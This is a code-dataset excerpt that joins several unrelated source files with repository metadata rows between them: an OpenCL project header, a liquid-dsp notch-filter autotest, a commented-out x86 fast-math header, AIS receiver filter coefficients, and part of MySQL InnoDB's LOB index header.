bool is_unsafe_optimizations_ = false;
bool is_no_nan_nor_infinite_ = false;
bool is_aggressive_math_optimizations_ = false;
bool is_correctly_round_div_sqrt_ = false;
};
// A clone of an OpenCL project.
struct RgProjectCloneOpencl : public RgProjectClone
{
RgProjectCloneOpencl()
{
// Instantiate an OpenCL build settings instance by default.
build_settings = std::make_shared<RgBuildSettingsOpencl>();
}
RgProjectCloneOpencl(const std::string& clone_name, std::shared_ptr<RgBuildSettingsOpencl> build_settings) :
RgProjectClone(clone_name, build_settings){}
};
// An OpenCL project.
struct RgProjectOpencl : public RgProject
{
RgProjectOpencl() : RgProject("", "", RgProjectAPI::kOpenCL) {}
// CTOR #1.
RgProjectOpencl(const std::string& project_name, const std::string& project_file_full_path) : RgProject(project_name,
project_file_full_path, RgProjectAPI::kOpenCL) {}
// CTOR #2.
RgProjectOpencl(const std::string& project_name, const std::string& project_file_full_path,
const std::vector<std::shared_ptr<RgProjectClone>>& clones) :
RgProject(project_name, project_file_full_path, RgProjectAPI::kOpenCL, clones) {}
};
// *** OPENCL TYPE DECLARATIONS - END ***
#endif // RGA_RADEONGPUANALYZERGUI_INCLUDE_RG_DATA_TYPES_OPENCL_H_
| 66.699346 | 1,230 | 0.751494 | [
"vector"
] |
235e2fc8c8325a9eca5ed56cb3bf76ed2be45677 | 3,101 | c | C | src/filter/tests/firfilt_cccf_notch_autotest.c | vankxr/liquid-dsp | cd4d858a00eab6e2ffb88aa36b38a0fb1c741f30 | [
"MIT"
] | 1,382 | 2015-01-06T09:41:13.000Z | 2022-03-31T18:31:06.000Z | src/filter/tests/firfilt_cccf_notch_autotest.c | vankxr/liquid-dsp | cd4d858a00eab6e2ffb88aa36b38a0fb1c741f30 | [
"MIT"
] | 227 | 2015-02-06T17:04:42.000Z | 2022-03-31T06:48:20.000Z | src/filter/tests/firfilt_cccf_notch_autotest.c | vankxr/liquid-dsp | cd4d858a00eab6e2ffb88aa36b38a0fb1c741f30 | [
"MIT"
] | 394 | 2015-01-20T21:56:39.000Z | 2022-03-26T12:44:05.000Z | /*
* Copyright (c) 2007 - 2019 Joseph Gaeddert
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <math.h>
#include "autotest/autotest.h"
#include "liquid.h"
// Help function to keep code base small
void firfilt_cccf_notch_test_harness(unsigned int _m,
float _As,
float _f0)
{
unsigned int num_samples = 600; // number of samples
unsigned int h_len = 2*_m+1; // filter length
// design filter from prototype
firfilt_cccf q = firfilt_cccf_create_notch(_m,_As,_f0);
// generate input signal
unsigned int i;
float x2 = 0.0f;
float y2 = 0.0f;
for (i=0; i<num_samples+h_len; i++) {
// compute input: tone at f0
float complex x = cexpf(_Complex_I*2*M_PI*_f0*i);
// filter input
float complex y;
firfilt_cccf_push (q, x);
firfilt_cccf_execute(q, &y);
// accumulate, compensating for filter delay
if (i >= h_len) {
x2 += cabsf(x)*cabsf(x);
y2 += cabsf(y)*cabsf(y);
}
}
// compare result
x2 = sqrtf(x2 / (float)num_samples);
y2 = sqrtf(y2 / (float)num_samples);
if (liquid_autotest_verbose) {
firfilt_cccf_print(q);
printf("f0 = %.8f, x2: %f, y2: %f\n", _f0, x2, y2);
}
float tol = 1e-3f;
CONTEND_DELTA(x2, 1.0f, tol);
CONTEND_DELTA(y2, 0.0f, tol);
// destroy filter object
firfilt_cccf_destroy(q);
}
// AUTOTESTS:
void autotest_firfilt_cccf_notch_0() { firfilt_cccf_notch_test_harness(20,60.0f, 0.000f); }
void autotest_firfilt_cccf_notch_1() { firfilt_cccf_notch_test_harness(20,60.0f, 0.100f); }
void autotest_firfilt_cccf_notch_2() { firfilt_cccf_notch_test_harness(20,60.0f, 0.456f); }
void autotest_firfilt_cccf_notch_3() { firfilt_cccf_notch_test_harness(20,60.0f, 0.500f); }
void autotest_firfilt_cccf_notch_4() { firfilt_cccf_notch_test_harness(20,60.0f,-0.250f); }
void autotest_firfilt_cccf_notch_5() { firfilt_cccf_notch_test_harness(20,60.0f,-0.389f); }
| 38.283951 | 91 | 0.676556 | [
"object"
] |
2364359213956a213fb29b805a4c104c6f08e64a | 16,126 | h | C | math/fastmaths_vc.h | flintforge/Aris | 21ea2c4af0172cb150e3fbc7ca889e3d0ed717fd | [
"MIT"
] | null | null | null | math/fastmaths_vc.h | flintforge/Aris | 21ea2c4af0172cb150e3fbc7ca889e3d0ed717fd | [
"MIT"
] | null | null | null | math/fastmaths_vc.h | flintforge/Aris | 21ea2c4af0172cb150e3fbc7ca889e3d0ed717fd | [
"MIT"
] | null | null | null | #pragma once
// Maths & Macros
static const float PI = 3.1415926535897932384626433832795f;
static const float TWO_PI = 6.283185307179586476925286766559f;
static const float HALF_PI = 1.5707963267948966192313216916398f;
static const float THIRD_PI = 1.0471975511965977461542144610932f;
static const float QUARTER_PI = 0.78539816339744830961566084581988f;
static const float QUARTER_QUARTER_PI = 0.19634954084936207740391521145497f;
static const float M_LN2 = 0.69314718055994530941723212145818f;
static const float INV_TWO_PI = 0.15915494309189533576888376337251f;
static const float INV_PI = 0.31830988618379067153776752674503f;
static const float INV_HALF_PI = 0.63661977236758134307553505349006f;
static const float INV_THIRD_PI = 0.95492965855137201461330258023509f;
static const float INV_QUARTER_PI = 1.2732395447351626861510701069801f;
static const float DEG_TO_RAD = 0.017453292519943295769236907684886f;
static const float RAD_TO_DEG = 57.295779513082320876798154814105f;
static const float EPSILON = 0.0001f;
static const float EPSILON_SQUARED = EPSILON * EPSILON;
static const float SIX_FLOAT = 0.166666f;
static const float QUARTER_FLOAT = 0.25f;
static const float THIRD_FLOAT = 0.333333f;
static const float HALF_FLOAT = 0.5f;
static const float TWO_THIRD_FLOAT = 0.666666f;
static const float THIRD_QUARTER_FLOAT = 0.75f;
__forceinline float fsqrt(float x)
{
__asm{
fld x;
fsqrt;
fstp x;
}
return x;
}
__forceinline float fcos(float x)
{
__asm{
fld x;
fcos;
fstp x;
}
return x;
}
__forceinline float fsin(float x)
{
__asm{
fld x;
fsin;
fstp x;
}
return x;
}
__forceinline float ftan(float x)
{
__asm{
fld x;
fptan;
fstp x;
}
return x;
}
__forceinline float fatan(float x)
{
__asm{
fld x;
fpatan;
fstp x;
}
return x;
}
__forceinline float ffabs(float x)
{
__asm {
fld x;
fabs;
fstp x;
}
return x;
}
__forceinline float finvert(float x)
{
__asm {
fld x;
fchs;
fstp x;
}
return x;
}
__forceinline void fsincos(float radians,float & s,float & c)
{
__asm {
fld radians;
fsincos;
mov ecx,[c];
mov edx,[s];
fstp DWORD PTR[ecx];
fstp DWORD PTR[edx];
}
}
template <class T>
__forceinline int ffloor(T x)
{
return x > 0.0f ? static_cast<int>(x) : static_cast<int>(x - 1.0f);
}
__forceinline float fsquare(float x)
{
__asm {
fld x;
fmul st,st;
fstp x;
}
return x;
}
__forceinline float fsquaresquare(float x)
{
__asm {
fld x;
fmul st,st;
fmul st,st;
fstp x;
}
return x;
}
__forceinline int ffloatToInt(float x) {
int t;
__asm {
fld x
fistp t
}
return t;
}
__forceinline void ffloatToIntPtr(int *int_pointer, float f)
{
__asm {
fld f
mov edx, int_pointer
FRNDINT
fistp dword ptr [edx];
}
}
__forceinline float fsqrtSSE(float f)
{
__asm {
MOVSS xmm2,f
SQRTSS xmm1, xmm2
MOVSS f,xmm1
}
return f;
}
__forceinline BYTE ffloatToByte(float x)
{
float t = x + (float) 0xC00000;
return * (BYTE *) &t;
}
/*
template <class T>
T clamp(T x, T min, T max)
{
return (x < min) ? min : (x > max) ? max : x;
}
//-------------------------------------------------------------------------------------------------////////////
// Casting - Taken from the www.gamedev.net forums and www.nvidia.com
//-------------------------------------------------------------------------------------------------////////////
// Fast float to int conversion, NEVER cast with (int) when
// performance has any importance
__forceinline void FloatToInt(int *int_pointer, float f)
{
__asm fld f
__asm mov edx, int_pointer
__asm FRNDINT
__asm fistp dword ptr [edx];
}
// Round a floating point number to an integer. Note that (int + .5)
// is rounded to (int + 1).
__forceinline int RoundFloatToInt (float f)
{
int i;
__asm fld [f]
__asm fistp [i]
return i;
}
// Doesn't take the pointer, is a bit faster
__forceinline int __stdcall FloatToIntRet(float x)
{
int t;
__asm fld x
__asm fistp t
return t;
}
// Casting floats to unsigned chars is also very expensive, just
// NEVER cast with (unsigned char)
__forceinline BYTE __stdcall FloatToByte(float x)
{
float t = x + (float) 0xC00000;
return * (BYTE *) &t;
}
//-------------------------------------------------------------------------------------------------////////////
// Floating point arithmetic - Taken from the www.gamedev.net forums and
// the Titan celengine
//-------------------------------------------------------------------------------------------------////////////
// Fast floor() for (x >= 0) && (x < 2^31). MUCH faster than the normal
// floor()
__forceinline int __stdcall ifloor(float x)
{
DWORD e = (0x7F + 31) - ((* (DWORD *) &x & 0x7F800000) >> 23);
DWORD m = 0x80000000 | (* (DWORD *) &x << 8);
return (m >> e) & -(e < 32);
}
// Converts to integer equal to or less than, asm version
__forceinline int asmifloor(float f)
{
static float Half = 0.5;
int i;
__asm fld [f]
__asm fsub [Half]
__asm fistp [i]
return i;
}
// Asm version of fabs()
__forceinline float __fastcall FastAbs(float a)
{
__asm
{
fld DWORD PTR [esp+4]
fabs
ret 4
}
}
// Asm version of sinf()
__forceinline float __fastcall FastSin(float a)
{
__asm
{
fld DWORD PTR [esp+4]
fsin
ret 4
}
}
// Asm version of cosf()
__forceinline float __fastcall FastCos(float a)
{
__asm
{
fld DWORD PTR [esp+4]
fcos
ret 4
}
}
// Allows you to set your FPU to single precision mode and back.
// This especially speeds up divisions and square roots. Be careful
// with this instrucktions, some of the optimized functions won't work
// in single precision mode
#define SET_TO_SINGLE_PRECISION _controlfp(_PC_24, MCW_PC);
#define SET_TO_DOUBLE_PRECISION _controlfp(_CW_DEFAULT, 0xfffff);
//-------------------------------------------------------------------------------------------------////////////
// Integer point arithmetic - Credits to the Titan and Unreal Engine
// (http://talika.fie.us.es/~titan/)
//-------------------------------------------------------------------------------------------------////////////
// Find the closest power of 2 that is >= N. (Unreal celengine)
__inline DWORD NextPowerOfTwo(DWORD N)
{
if (N<=0L ) return 0L;
if (N<=1L ) return 1L;
if (N<=2L ) return 2L;
if (N<=4L ) return 4L;
if (N<=8L ) return 8L;
if (N<=16L ) return 16L;
if (N<=32L ) return 32L;
if (N<=64L ) return 64L;
if (N<=128L ) return 128L;
if (N<=256L ) return 256L;
if (N<=512L ) return 512L;
if (N<=1024L ) return 1024L;
if (N<=2048L ) return 2048L;
if (N<=4096L ) return 4096L;
if (N<=8192L ) return 8192L;
if (N<=16384L ) return 16384L;
if (N<=32768L ) return 32768L;
if (N<=65536L ) return 65536L;
else return 0;
}
// Fast logarithm
__inline DWORD Log2(DWORD val)
{
DWORD answer = 0;
while (val >>= 1)
answer++;
return answer;
}
//-------------------------------------------------------------------------------------------------////////////
// Vector math
//-------------------------------------------------------------------------------------------------////////////
// Take the dot product of the two vectors. Is sometimes faster than
// the optimized asm dot product
#define DOT(v1, v2) (v1[0] * v2[0] + v1[1] * v2[1] + v1[2] * v2[2])
// Take the cross of the two vectors
#define CROSS(out, v1, v2) \
out[x] = v1[y] * v2[z] - v1[z] * v2[y]; \
out[y] = v1[z] * v2[x] - v1[x] * v2[z]; \
out[z] = v1[x] * v2[y] - v1[y] * v2[x]; \
// Substract the two vectors
#define SUB(dest, v1, v2) \
dest[0] = v1[0] - v2[0]; \
dest[1] = v1[1] - v2[1]; \
dest[2] = v1[2] - v2[2];
// Add the two vectors
#define ADD(dest, v1, v2) \
dest[0] = v1[0] + v2[0]; \
dest[1] = v1[1] + v2[1]; \
dest[2] = v1[2] + v2[2];
// Fast normalization of 3 component vector.
// Does not test if the vector has 0 length
__inline void FastNormVect3(float *v)
{
float ilength;
ilength = RSqrt(DotProduct(v, v));
v[0] *= ilength;
v[1] *= ilength;
v[2] *= ilength;
}
// Fast normalization of 2 component vector.
// Does not test if the vector has 0 length
__inline void FastNormVect2(float *v)
{
float ilength;
ilength = RSqrt(v[0] * v[0] + v[1] * v[1]);
v[0] *= ilength;
v[1] *= ilength;
}
// Fast 15 cycle asm dot product, credits to Golgotha
__forceinline float __cdecl DotProduct(const float v1[3], const float v2[3])
{
FLOAT dotret;
__asm
{
mov ecx, v1
mov eax, v2
;optimized dot product ;15 cycles
fld dword ptr [eax+0] ;starts & ends on cycle 0
fmul dword ptr [ecx+0] ;starts on cycle 1
fld dword ptr [eax+4] ;starts & ends on cycle 2
fmul dword ptr [ecx+4] ;starts on cycle 3
fld dword ptr [eax+8] ;starts & ends on cycle 4
fmul dword ptr [ecx+8] ;starts on cycle 5
fxch st(1) ;no cost
faddp st(2),st(0) ;starts on cycle 6, stalls for cycles 7-8
faddp st(1),st(0) ;starts on cycle 9, stalls for cycles 10-12
fstp dword ptr [dotret] ;starts on cycle 13, ends on cycle 14
}
return dotret;
}
//-------------------------------------------------------------------------------------------------////////////
// Square root - Credits to the Titan Engine and the Q3 game code
// (http://talika.fie.us.es/~titan/)
//-------------------------------------------------------------------------------------------------////////////
// Fast reciprocal square root (Quake 3 game code)
__inline float RSqrt(float number)
{
long i;
float x2, y;
const float threehalfs = 1.5f;
x2 = number * 0.5f;
y = number;
i = * (long *) &y; // evil floating point bit level hacking
i = 0x5f3759df - (i >> 1); // what the fuck?
y = * (float *) &i;
y = y * (threehalfs - (x2 * y * y)); // 1st iteration
return y;
}
// Fast inverse square root
__inline float __fastcall InverseSqrt(float a)
{
__asm
{
mov eax, 0be6eb508h
mov DWORD PTR [esp-12],03fc00000h ; 1.5 on the stack
sub eax, DWORD PTR [esp+4]; a
sub DWORD PTR [esp+4], 800000h ; a/2 a=Y0
shr eax, 1 ; firs approx in eax=R0
mov DWORD PTR [esp-8], eax
fld DWORD PTR [esp-8] ;r
fmul st, st ;r*r
fld DWORD PTR [esp-8] ;r
fxch st(1)
fmul DWORD PTR [esp+4];a ;r*r*y0
fld DWORD PTR [esp-12];load 1.5
fld st(0)
fsub st,st(2) ;r1 = 1.5 - y1
;x1 = st(3)
;y1 = st(2)
;1.5 = st(1)
;r1 = st(0)
fld st(1)
fxch st(1)
fmul st(3),st ; y2=y1*r1*...
fmul st(3),st ; y2=y1*r1*r1
fmulp st(4),st ; x2=x1*r1
fsub st,st(2) ; r2=1.5-y2
;x2=st(3)
;y2=st(2)
;1.5=st(1)
;r2 = st(0)
fmul st(2),st ;y3=y2*r2*...
fmul st(3),st ;x3=x2*r2
fmulp st(2),st ;y3=y2*r2*r2
fxch st(1)
fsubp st(1),st ;r3= 1.5 - y3
;x3 = st(1)
;r3 = st(0)
fmulp st(1), st
ret 4
}
}
// Another fast inverse square root
// Copyright (C) 1997 by Vesa Karvonen. All rights reserved.
// Use freely as long as my copyright is retained.
__inline double __fastcall Inv_Sqrt(double x)
{
__asm
{
; I'm assuming that the argument is aligned to a 64-bit boundary.
mov eax,0BFCDD6A1h ; 1u Constant from James Van Buskirk
mov edx,[esp+8] ; 1v Potential pms.
sub eax,edx ; 2u
push 03FC00000h ; 2v Constant 1.5, aligns stack
shr eax,1 ; 3u
sub edx,000100000h ; 3v =.5*x, biased exponent must > 1
mov [esp+12],edx ; 4u
push eax ; 4v
; The lower 32-bits of the estimate come from uninitialized stack.
fld QWORD PTR [esp-4] ; 5 Potential pms
fmul st,st ; 6-8
fld QWORD PTR [esp-4] ; 7
fxch st(1) ; 7x
fmul QWORD PTR [esp+12] ; 9-11 Potential pms
fld DWORD PTR [esp+4] ; 10
add esp,4 ; 12 Faster on Pro/PII
fsub st,st(1) ; 12-14
fmul st(1),st ; 15-17
fmul st(1),st ; 18-20
fld DWORD PTR [esp] ; 19
fxch st(1) ; 19
fmulp st(2),st ; 20-22
fsub st,st(1) ; 21-23
fmul st(1),st ; 24-26
fmul st(1),st ; 27-29
fld DWORD PTR [esp] ; 28
fxch st(1) ; 28
fmulp st(2),st ; 29-31
fsub st,st(1) ; 30-32
fmul st(1),st ; 33-35
pop eax ; 34
fmul st(1),st ; 36-38
fld DWORD PTR [esp] ; 37
fxch st(1) ; 37
fmulp st(2),st ; 38-40
fsubrp st(1),st ; 39-41
fmulp st(1),st ; 42-44
}
}
// Fast integer square root. Doesn't seem to be any faster than the
// floating-point fastsqrt() from nVidia. Code from
// http://www.azillionmonkeys.com/qed/sqroot.html
__inline int isqrt0 (unsigned long r)
{
double x, y;
float rr;
float tempf;
long is;
rr = (float) r;
y = rr * 0.5;
* (unsigned long *) &tempf = (0xbe6f0000 -* (unsigned long *) &rr) >> 1;
x = tempf;
x = (1.5 * x) - (x * x) * (x * y);
if (r > 101123)
x = (1.5 * x ) - (x * x) * (x * y);
x *= rr;
_asm
{
fld x
fistp is
}
is += (((signed int) (r - is * is)) >> 31);
return is;
}
//-------------------------------------------------------------------------------------------------////////////
// Square root with lookup table (http://www.nvidia.com/developer)
//-------------------------------------------------------------------------------------------------////////////
#define FP_BITS(fp) (* (DWORD *) &(fp))
typedef union FastSqrtUnion
{
float f;
unsigned int i;
} FastSqrtUnion;
static unsigned int iFastSqrtTable[0x10000];
// Build the square root table
void BuildSqrtTable()
{
unsigned int i;
FastSqrtUnion s;
// Build the fast square root table
for (i = 0; i <= 0x7FFF; i++)
{
// Build a float with the bit pattern i as mantissa
// and an exponent of 0, stored as 127
s.i = (i << 8) | (0x7F << 23);
s.f = (float) sqrt(s.f);
// Take the square root then strip the first 7 bits of
// the mantissa into the table
iFastSqrtTable[i + 0x8000] = (s.i & 0x7FFFFF);
// Repeat the process, this time with an exponent of 1,
// stored as 128
s.i = (i << 8) | (0x80 << 23);
s.f = (float) sqrt(s.f);
iFastSqrtTable[i] = (s.i & 0x7FFFFF);
}
}
__forceinline float fastsqrt(float n)
{
// Check for square root of 0
if (FP_BITS(n) == 0)
return 0.0;
FP_BITS(n) = iFastSqrtTable[(FP_BITS(n) >> 8) & 0xFFFF] |
((((FP_BITS(n) - 0x3F800000) >> 1) +
0x3F800000) & 0x7F800000);
return n;
}
//-------------------------------------------------------------------------------------------------////////////
// Memory operation - Credits to the Unreal Engine
//-------------------------------------------------------------------------------------------------////////////
// Most of the time, these functions seem to be slower than the one of
// MSVC's runtime library. Compare the speed before you use them !
// Fast memory copy
__inline void FastMemCpy(void *Dest, const void *Src, int Count)
{
__asm
{
mov ecx, Count
mov esi, Src
mov edi, Dest
mov ebx, ecx
shr ecx, 2
and ebx, 3
rep movsd
mov ecx, ebx
rep movsb
}
}
// Fast memory zero
__inline void FastMemZero(void *Dest, int Count)
{
// FIXME: if dest is unaligned, that wont be very fast
__asm
{
mov ecx, [Count]
mov edi, [Dest]
xor eax, eax
mov ebx, ecx
shr ecx, 2
and ebx, 3
rep stosd
mov ecx, ebx
rep stosb
}
}
//-------------------------------------------------------------------------------------------------////////////
// Fixed point math - Credits to Fast Game Programming
// (http://members.aol.com/form1/index.html)
//-------------------------------------------------------------------------------------------------////////////
typedef long fixed; // Our new fixed point type.
#define itofx(x) ((x) << 8) // Integer to fixed point
#define ftofx(x) ((x) * 256) // Float to fixed point
#define dtofx(x) ((x) * 256) // Double to fixed point
#define fxtoi(x) ((x) >> 8) // Fixed point to integer
#define fxtof(x) ((float) (x) / 256) // Fixed point to float
#define fxtod(x) ((double) (x) / 256) // Fixed point to double
#define mulfx(x, y) (((y) * (x)) >> 8) // Multiply a fixed by a fixed
#define divfx(x, y) ((y << 8) / (x)) // Divide a fixed by a fixed
// Taken from the Poly Engine source
__inline int FixMul(int a, int b)
{
_asm
{
xor edx, edx
mov eax, a
mov ebx, b
imul ebx
shrd eax, edx, 16
mov a, eax
}
return a;
}
*/ | 23.541606 | 111 | 0.56443 | [
"vector"
] |
23668ed325742499709df27ca4bb93c4089d0d75 | 2,112 | h | C | Filters.h | snh/AIS-catcher | 323c00348945979018fa6b63ba777c9eabcb8f88 | [
"MIT"
] | null | null | null | Filters.h | snh/AIS-catcher | 323c00348945979018fa6b63ba777c9eabcb8f88 | [
"MIT"
] | null | null | null | Filters.h | snh/AIS-catcher | 323c00348945979018fa6b63ba777c9eabcb8f88 | [
"MIT"
] | null | null | null | /*
Copyright(c) 2021 jvde.github@gmail.com
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <vector>
#include "Common.h"
namespace Filters
{
const std::vector <FLOAT32> Receiver
{
0.00119025, -0.00148464, -0.00282428, -0.00200561, -0.00068852,
0.00343044, 0.00902093, 0.01367867, 0.01147965, 0.0027259 ,
-0.01766614, -0.04244429, -0.0577468 , -0.05245161, -0.01072754,
0.0732564 , 0.17643278, 0.25582214, 0.28200453, 0.25582214,
0.17643278, 0.0732564 , -0.01072754, -0.05245161, -0.0577468 ,
-0.04244429, -0.01766614, 0.0027259 , 0.01147965, 0.01367867,
0.00902093, 0.00343044, -0.00068852, -0.00200561, -0.00282428,
-0.00148464, 0.00119025
};
const std::vector <FLOAT32> Coherent
{
2.06995719e-06, 3.18610148e-05, 3.40605309e-04, 2.52892989e-03,
1.30411453e-02, 4.67076746e-02, 1.16186141e-01, 2.00730781e-01,
2.40861391e-01, 2.00730781e-01, 1.16186141e-01, 4.67076746e-02,
1.30411453e-02, 2.52892989e-03, 3.40605309e-04, 3.18610148e-05,
2.06995719e-06
};
}
| 40.615385 | 79 | 0.710227 | [
"vector"
] |
2366f10ef0b3e1550883f7c258d81bf7a79f7a14 | 14,940 | h | C | mysql-server/storage/innobase/include/lob0index.h | silenc3502/MYSQL-Arch-Doc-Summary | fcc6bb65f72a385b9f56debc9b2c00cee5914bae | [
"MIT"
] | null | null | null | mysql-server/storage/innobase/include/lob0index.h | silenc3502/MYSQL-Arch-Doc-Summary | fcc6bb65f72a385b9f56debc9b2c00cee5914bae | [
"MIT"
] | null | null | null | mysql-server/storage/innobase/include/lob0index.h | silenc3502/MYSQL-Arch-Doc-Summary | fcc6bb65f72a385b9f56debc9b2c00cee5914bae | [
"MIT"
] | null | null | null | /*****************************************************************************
Copyright (c) 2016, 2019, Oracle and/or its affiliates. All Rights Reserved.
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License, version 2.0, as published by the
Free Software Foundation.
This program is also distributed with certain software (including but not
limited to OpenSSL) that is licensed under separate terms, as designated in a
particular file or component or in included license documentation. The authors
of MySQL hereby grant you an additional permission to link the program and
your derivative works with the separately licensed software that they have
included with MySQL.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0,
for more details.
You should have received a copy of the GNU General Public License along with
this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*****************************************************************************/
#ifndef lob0index_h
#define lob0index_h
#include "fut0lst.h"
#include "lob0util.h"
#include "trx0trx.h"
#include "univ.i"
namespace lob {
typedef std::map<page_no_t, buf_block_t *> BlockCache;
struct first_page_t;
/** An in-memory copy of an index_entry_t data */
struct index_entry_mem_t {
fil_addr_t m_self;
fil_addr_t m_prev;
fil_addr_t m_next;
flst_bnode_t m_versions;
trx_id_t m_trx_id;
trx_id_t m_trx_id_modifier;
undo_no_t m_undo_no;
undo_no_t m_undo_no_modifier;
page_no_t m_page_no;
ulint m_data_len;
index_entry_mem_t() { reset(); }
void reset();
bool is_null() { return (m_self.is_equal(fil_addr_null)); }
page_no_t get_page_no() const { return (m_page_no); }
/** Print this object into the given output stream.
@param[in] out the output stream.
@return the output stream. */
std::ostream &print(std::ostream &out) const;
};
/** List of index entry memory (iem) objects. */
using List_iem_t = std::list<index_entry_mem_t>;
/** Overloading the global output operator to print the index_entry_mem_t
object.
@param[in,out] out the output stream.
@param[in] obj an object of type index_entry_mem_t
@return the output stream. */
inline std::ostream &operator<<(std::ostream &out,
const index_entry_mem_t &obj) {
return (obj.print(out));
}
/** An index entry pointing to an LOB page. */
struct index_entry_t {
/** Index entry offsets within node. */
static const ulint OFFSET_PREV = 0;
static const ulint OFFSET_NEXT = OFFSET_PREV + FIL_ADDR_SIZE;
/** Points to base node of the list of versions. The size of base node is
16 bytes. */
static const ulint OFFSET_VERSIONS = OFFSET_NEXT + FIL_ADDR_SIZE;
/** The creator trx id. */
static const ulint OFFSET_TRXID = OFFSET_VERSIONS + FLST_BASE_NODE_SIZE;
/** The modifier trx id. */
static const ulint OFFSET_TRXID_MODIFIER = OFFSET_TRXID + 6;
static const ulint OFFSET_TRX_UNDO_NO = OFFSET_TRXID_MODIFIER + 6;
/** The undo number of the modifier trx. */
static const ulint OFFSET_TRX_UNDO_NO_MODIFIER = OFFSET_TRX_UNDO_NO + 4;
static const ulint OFFSET_PAGE_NO = OFFSET_TRX_UNDO_NO_MODIFIER + 4;
static const ulint OFFSET_DATA_LEN = OFFSET_PAGE_NO + 4;
/** The LOB version number. */
static const ulint OFFSET_LOB_VERSION = OFFSET_DATA_LEN + 4;
/** Total length of an index node. */
static const ulint SIZE = OFFSET_LOB_VERSION + 4;
/** Constructor.
@param[in] node the pointer where index entry is located. */
index_entry_t(flst_node_t *node)
: m_node(node), m_mtr(nullptr), m_index(nullptr), m_block(nullptr) {}
index_entry_t(flst_node_t *node, mtr_t *mtr)
: m_node(node), m_mtr(mtr), m_index(nullptr), m_block(nullptr) {}
index_entry_t(flst_node_t *node, mtr_t *mtr, dict_index_t *index)
: m_node(node), m_mtr(mtr), m_index(index), m_block(nullptr) {}
index_entry_t(mtr_t *mtr, const dict_index_t *index)
: m_node(nullptr), m_mtr(mtr), m_index(index), m_block(nullptr) {}
/* Move the node pointer to a different place within the same page.
@param[in] addr new location of node pointer. */
void reset(fil_addr_t &addr) {
ut_ad(m_block->page.id.page_no() == addr.page);
m_node = buf_block_get_frame(m_block) + addr.boffset;
}
/* Get the buffer block of the current index entry.
@return the buffer block of the current index entry.*/
buf_block_t *get_block() const { return (m_block); }
/* Reset the current object to point to a different node.
@param[in] node the new file list node. */
void reset(flst_node_t *node) { m_node = node; }
bool is_null() const {
const byte zero[SIZE] = {0x00};
return (m_node == nullptr || memcmp(m_node, zero, SIZE) == 0);
}
/** Initialize the object fully. */
void init() {
set_prev_null();
set_next_null();
set_versions_null();
set_trx_id(0);
set_trx_undo_no(0);
set_page_no(FIL_NULL);
set_data_len(0);
}
/** Get the location of the current index entry. */
fil_addr_t get_self() const;
/** The versions base node is set to NULL. */
void set_versions_null() {
ut_ad(m_mtr != nullptr);
byte *base_node = get_versions_ptr();
flst_init(base_node, m_mtr);
}
/** Determine if the current index entry be rolled back.
@param[in] trxid the transaction that is being purged.
@param[in] undo_no the undo number of trx.
@return true if this entry can be rolled back, false otherwise. */
bool can_rollback(trx_id_t trxid, undo_no_t undo_no) {
/* For rollback, make use of creator trx id. */
return ((trxid == get_trx_id()) && (get_trx_undo_no() >= undo_no));
}
/** Determine if the current index entry be purged.
@param[in] trxid the transaction that is being purged.
@param[in] undo_no the undo number of trx.
@return true if this entry can be purged, false otherwise. */
bool can_be_purged(trx_id_t trxid, undo_no_t undo_no) {
return ((trxid == get_trx_id_modifier()) &&
(get_trx_undo_no_modifier() == undo_no));
}
/* The given entry becomes the old version of the current entry.
Move the version base node from old entry to current entry.
@param[in] entry the old entry */
void set_old_version(index_entry_t &entry) {
flst_node_t *node = entry.get_node_ptr();
flst_base_node_t *version_list = get_versions_ptr();
ut_ad(flst_get_len(version_list) == 0);
entry.move_version_base_node(*this);
flst_add_first(version_list, node, m_mtr);
}
/** The current index entry points to a latest LOB page. It may or
may not have older versions. If older version is there, bring it
back to the index list from the versions list. Then remove the
current entry from the index list. Move the versions list from
current entry to older entry.
@param[in] index the clustered index containing the LOB.
@param[in] trxid The transaction identifier.
@param[in] first_page The first lob page containing index
list and free list.
@return the location of next entry. */
fil_addr_t make_old_version_current(dict_index_t *index, trx_id_t trxid,
first_page_t &first_page);
/** Purge the current entry.
@param[in] index the clustered index containing the LOB.
@param[in] trxid The transaction identifier.
@param[in] lst the base node of index list.
@param[in] free_list the base node of free list.
@return the location of the next entry. */
